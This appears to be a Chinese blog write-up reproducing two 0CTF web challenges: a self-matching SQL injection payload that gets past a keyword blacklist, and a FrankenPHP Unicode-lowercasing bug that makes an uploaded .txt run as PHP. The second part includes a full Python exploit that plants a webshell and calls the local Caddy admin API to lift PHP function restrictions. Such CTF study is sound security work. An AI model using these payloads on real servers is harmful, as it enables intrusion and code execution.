Skip to main content
Background Image

0CTF-部分WEB复现

·574 words·3 mins· loading · loading ·
Table of Contents

EZQUEEN
#

Can you pass the queen’s challenge?

Note: The MySQL service takes a while to start up. You may encounter a 404 error during this period. It may require a few minutes to become fully operational.

源码:

<?php

$host = getenv('DB_HOST') ?: 'mysql';
$db   = getenv('DB_NAME') ?: 'app';
$user = getenv('DB_USER') ?: 'appuser';
$pass = getenv('DB_PASS') ?: 'apppass';

$con = @mysqli_connect($host, $user, $pass, $db);
if (!$con) die("DB connect error");

function checkSql($s) {
    if(preg_match("/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@/i",$s)){
        die("hacker!");
    }
}

$pwd=$_POST['pwd'] ?? '';

if ($pwd !== '') {
    if (strlen($pwd) > 200) die("too long!");
    checkSql($pwd);
    $sql="SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';";
    try {
        $user_result=mysqli_query($con,$sql);
        $row = mysqli_fetch_array($user_result);
        if (!$row) die("wrong password");
        if ($row['pwd'] === $pwd) {
            die(getenv('FLAG'));
        }
        die("wrong password");
    } catch (Throwable $e) {
        die("wrong password");
    }
}
else {
    highlight_file(__FILE__);
}

要构造查询出来的pwd和你传入的pwd一样的字符串进行比较得到flag,这里也是看了wp学了一下大概需要什么函数,然后自己写写试试

FUNC1 MAKE_SET
#

MAKE_SET(bits, str1, str2, …) 把bits转成二进制,哪一位是1就返回对应的字符串。 这里我用的7因为二进制为111刚好返回abc这个结果

当我的语句变成

SELECT pwd FROM users WHERE username='admin' AND pwd='' UNION SELECT MAKE_SET(7,'a','b','c')

返回值为pwd:a,b,c 可以看到竟然构造出来了这个玩意,接下来我们就要思考如何把我们传入的内容和构造的内容变成一致,这个时候我本来想能不能用information_schema.PROCESSLIST加上截断的但是题目禁用了substr函数,但是我还是想写一下

SELECT pwd FROM users WHERE username='admin' AND pwd='' UNION SELECT CAST(MAKE_SET(2,'a',SUBSTR((SELECT Info from information_schema.PROCESSLIST LIMIT 1),55,300))AS CHAR)

可以看到如果这道题没有禁用的话就可以这么做。

SELECT pwd FROM users WHERE username='admin' AND pwd=''UNION SELECT MAKE_SET(7,'a',QUOTE(b),'c') FROM (SELECT 1,2,3)a(a,b,c)

可以制造一个临时表

那我们可以改一下这个SELECT临时表的内容先把我们原本的语句构造了。 这里我调了一个下午,说实话确实需要点耐心,最后的playload

SELECT pwd FROM users WHERE username='admin' AND pwd=''UNION SELECT MAKE_SET(7,b,QUOTE(b),a)FROM(SELECT"3)a(a,b,c)#",'\'UNION SELECT MAKE_SET(7,b,QUOTE(b),a)FROM(SELECT"3)a(a,b,c)#"',3)a(a,b,c)#

这里需要注意一下这里必须要三个参数,具体为什么是因为后面构造的时候会多出来一个3的值,因为a的值里面包含了"3)a(a,b,c)#"

EZUPLOAD
#

刚开始这个题我大概方向对了,从phpinfo看到了FrankenPHP,想着应该是FrankenPHP在处理文件上存在问题,但是后面没去看了,因为家里有点事出门了 Source:

<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
  $filename = basename($_GET['filename'] ?? 'phpinfo.php');
  file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
  echo "File created.";
} elseif ($action === 'upload') {
  if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    $extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
    if ($extension === 'txt') {
      if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.";
      }
    }
  }
} else {
  highlight_file(__FILE__);
}

很简单的逻辑,就是我们要想怎么让我们上传的txt文件夹被解析或者看有什么绕过方法可以上传上文件,我们先下一个对应版本的FrankenPHP源码

然后看了一眼wp看到自己漏了点细节,下次有phpinfo一定注意,应该就是 DOUCMENT_ROOT为/app/public PHPVERSION:PHP/8.4.15 DISABLE_FUNCTION
然后接下来我们看到FrankenPHP的这个函数

func splitPos(path string, splitPath []string) int {
	if len(splitPath) == 0 {
		return 0
	}

	lowerPath := strings.ToLower(path)
	for _, split := range splitPath {
		if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
			return idx + len(split)
		}
	}
	return -1
}

在处理path的时候用了ToLower,而对于Unicode字符来说len(lower(s)) != len(s) 具体可以看: https://iter.ca/p/ctf/dctf22-blazingfast/

  • Uppercase: Ⱥ (UTF-8: 0xC8 0xBA – 2 bytes)
  • Lowercase: (UTF-8: 0xE2 0xB1 0xA5 – 3 bytes) 所以我们假设构造ȺȺȺȺshell.php.txt.php 那么在换成小写的时候就变成了ⱥⱥⱥⱥshell.php.txt.php 在判断类型的时候就会右移4个bytes的位置,则会读取到.php这个后缀 可以自己测试下
package main

import (
	"fmt"
	"strings"
)

func splitPos(path string, splitPath []string) int {
	if len(splitPath) == 0 {
		return 0
	}

	lowerPath := strings.ToLower(path)
	fmt.Println(lowerPath)
	for _, split := range splitPath {
		lowerSplit := strings.ToLower(split)
		if idx := strings.Index(lowerPath, lowerSplit); idx > -1 {
			return idx + len(split)
		}
	}
	return -1
}

func main() {
	tests := []string{
		"/upload/config/ȺȺȺȺshell.php.txt.php",
	}

	splitPath := []string{".php"}

	for _, path := range tests {
		pos := splitPos(path, splitPath)
		fmt.Printf("path: %-30s splitPos: %d\n", path, pos)

		if pos != -1 {
			fmt.Println("  SCRIPT_NAME:", path[:pos])
			fmt.Println("  PATH_INFO  :", path[pos:])
		}
		fmt.Println()
	}
}

所以这里我们上传一个包含shell的txt文件然后加上.php即可被解析
然后我们写一个webshell会发现调用的时候500,很明显是disable_function发力了

Caddy Web
#

也是第一次看到Caddy这个东西

GPT给我的回答是:
然后对于Laravel我之前也没系统看过,我们在前面phpinfo的时候可以知道他的路径为app/public,可以判断是Laravel,我们看到FrankenPHP
默认在端口2019为admin管理服务器的一个端口,那么我们可以尝试去读取他的config
这里致敬一下一血选手,真的这种doc我看的头大,要一个个去分析,太有耐心了 最后是发现了ini文件可以被覆盖所以可以写一个ini去覆盖把disable_function设置为空和open_basedir给设置到根目录

$ini = [
  "disable_functions" => "",
  "open_basedir" => "/",
];

$ctx = stream_context_create([
  "http" => [
    "method" => "PUT",
    "header" => "Content-Type: application/json\r\n",
    "content" => json_encode($ini),
    "ignore_errors" => true,
  ],
]);

file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $ctx);

所以最后exp:

import requests

PHP = '''
<?php
$ini = [
  "disable_functions" => "",
  "open_basedir" => "/",
];

$ctx = stream_context_create([
  "http" => [
    "method" => "PUT",
    "header" => "Content-Type: application/json\r\n",
    "content" => json_encode($ini),
    "ignore_errors" => true,
  ],
]);

file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $ctx);
echo eval(system("/readflag"));
 ?>
'''

target = 'http://kxt947fmp2gyp743.instance.penguin.0ops.sjtu.cn:18080/'
files = {
    'file': ('İİİİphpinfo.txt', PHP, 'application/octet-stream'),
}
r = requests.post(target + '?action=upload', files=files)
print(r.text)

url = f'{target}/?action=create&filename=İİİİphpinfo.txt.php'
r = requests.get(url)
print(r.text)

url = f'{target}/İİİİphpinfo.txt.php'
r = requests.get(url)
print(r.text)

Delete's blog
Author
Delete’s blog